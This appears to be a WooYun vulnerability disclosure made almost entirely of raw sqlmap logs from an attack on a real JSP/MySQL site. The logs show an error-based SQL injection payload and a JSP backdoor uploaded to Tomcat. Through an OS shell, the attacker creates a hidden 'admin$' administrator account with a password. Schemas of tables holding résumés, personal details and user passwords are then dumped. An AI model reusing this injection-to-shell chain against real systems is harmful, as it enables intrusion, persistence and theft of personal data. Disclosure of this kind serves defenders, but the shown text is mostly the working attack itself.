WooYun.org

[20:06:19] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[20:06:51] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 161 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=38 AND (SELECT 2021 FROM(SELECT COUNT(*),CONCAT(0x71676d6571,(SELECT (CASE WHEN (2021=2021) THEN 1 ELSE 0 END)),0x7176696b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[20:07:43] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[20:07:43] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'
[*] shutting down at 20:07:43

[20:07:58] [INFO] fetching current user
[20:07:59] [INFO] retrieved: root@localhost
current user is DBA:    True
[20:07:59] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'

do you want to try the same method used for the file stager? [Y/n] y
[20:26:28] [INFO] the backdoor has been successfully uploaded on '/apache-tomcat-7.0.35/webapps/sxccti' - http://**.**.**.**:80/sxccti/tmpbnhay.jsp
[20:26:28] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> net user
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:
---
\WIN-IMDOU5E7KPA 的用户帐户
-------------------------------------------------------------------------------
Administrator            Guest                    
命令成功完成。
---
os-shell> net user admin$ jiankeabc123 /add
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:
---
命令成功完成。
---
os-shell> net localgroup administrators admin$  /add
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:
---
命令成功完成。
---
os-shell> net user
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:
---
\WIN-IMDOU5E7KPA 的用户帐户
-------------------------------------------------------------------------------
Administrator            Guest                    
命令成功完成。

Database: websf
Table: resume
[26 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| address         | varchar(255) |
| birthday        | varchar(255) |
| census          | varchar(255) |
| college         | varchar(255) |
| component_id    | int(11)      |
| contact         | varchar(255) |
| country         | varchar(255) |
| createTime      | timestamp    |
| degree          | varchar(255) |
| email           | varchar(255) |
| employ_id       | int(11)      |
| finishTime      | varchar(255) |
| foreignLanguage | text         |
| id              | int(11)      |
| jobHistory      | text         |
| marriage        | varchar(255) |
| myself          | text         |
| name            | varchar(255) |
| nation          | varchar(255) |
| party           | varchar(255) |
| sex             | varchar(255) |
| skill           | text         |
| speciality      | varchar(255) |
| studyHistory    | text         |
| updateTime      | timestamp    |
| zipcode         | varchar(255) |
+-----------------+--------------+

Database: websf
Table: employ
[14 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| amount       | varchar(255) |
| component_id | int(11)      |
| createTime   | timestamp    |
| degree       | varchar(255) |
| endTime      | timestamp    |
| id           | int(11)      |
| interfix     | varchar(255) |
| name         | varchar(255) |
| pay          | varchar(255) |
| place        | varchar(255) |
| publishTime  | timestamp    |
| sort         | varchar(255) |
| synopsis     | text         |
| updateTime   | timestamp    |
+--------------+--------------+

Database: websf
Table: user
[9 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| mobile   | varchar(255) |
| org_id   | int(11)      |
| password | varchar(255) |
| phone    | varchar(255) |
| realname | varchar(255) |
| state    | int(11)      |
| station  | varchar(255) |
| username | varchar(255) |
+----------+--------------+